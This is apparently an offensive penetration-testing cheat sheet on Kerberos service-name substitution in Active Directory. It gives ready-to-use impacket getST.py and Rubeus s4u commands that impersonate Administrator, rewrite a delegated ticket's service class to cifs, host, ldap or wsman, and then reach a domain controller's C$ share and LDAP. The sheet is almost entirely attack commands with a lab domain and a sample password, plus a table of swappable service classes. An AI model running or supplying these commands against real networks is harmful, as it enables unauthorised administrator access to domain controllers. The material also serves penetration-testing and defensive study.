Service Name Substitution

Service-name substitution is used when a ticket for one service class can be changed into a ticket for a more useful service class on the same host or same service-account context. The common operational example is turning a less useful delegated ticket into cifs/host for SMB access.

Linux altservice

getST.py -spn 'time/dc01.ootw.local' -altservice 'cifs/dc01.ootw.local' -impersonate Administrator -dc-ip 10.10.10.200 'ootw.local/svc_delegate:Password123!'
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc01.ootw.local/C$

Windows altservice

Rubeus.exe s4u /user:svc_delegate /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:time/dc01.ootw.local /altservice:cifs /ptt
klist
dir \\dc01.ootw.local\c$

Multiple service classes

Rubeus.exe s4u /user:svc_delegate /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:time/dc01.ootw.local /altservice:cifs,host,http,ldap,wsman /ptt

Useful substitutions

time/host       to cifs/host
http/host       to cifs/host if same service account
host/host       to cifs/host
ldap/dc         to cifs/dc only if service account context allows it
http/host       to wsman/host when WinRM accepts the class

Validation

klist
smbclient -k //dc01.ootw.local/C$
ldapsearch -Y GSSAPI -H ldap://dc01.ootw.local -b "DC=ootw,DC=local" "(sAMAccountName=Administrator)" cn

Notes

• This is not cross-host access.
• The target service must be able to decrypt the ticket.
• The useful question is whether both service classes map to the same account key.
• Use altservice when the allowed delegated SPN is technically valid but operationally weak.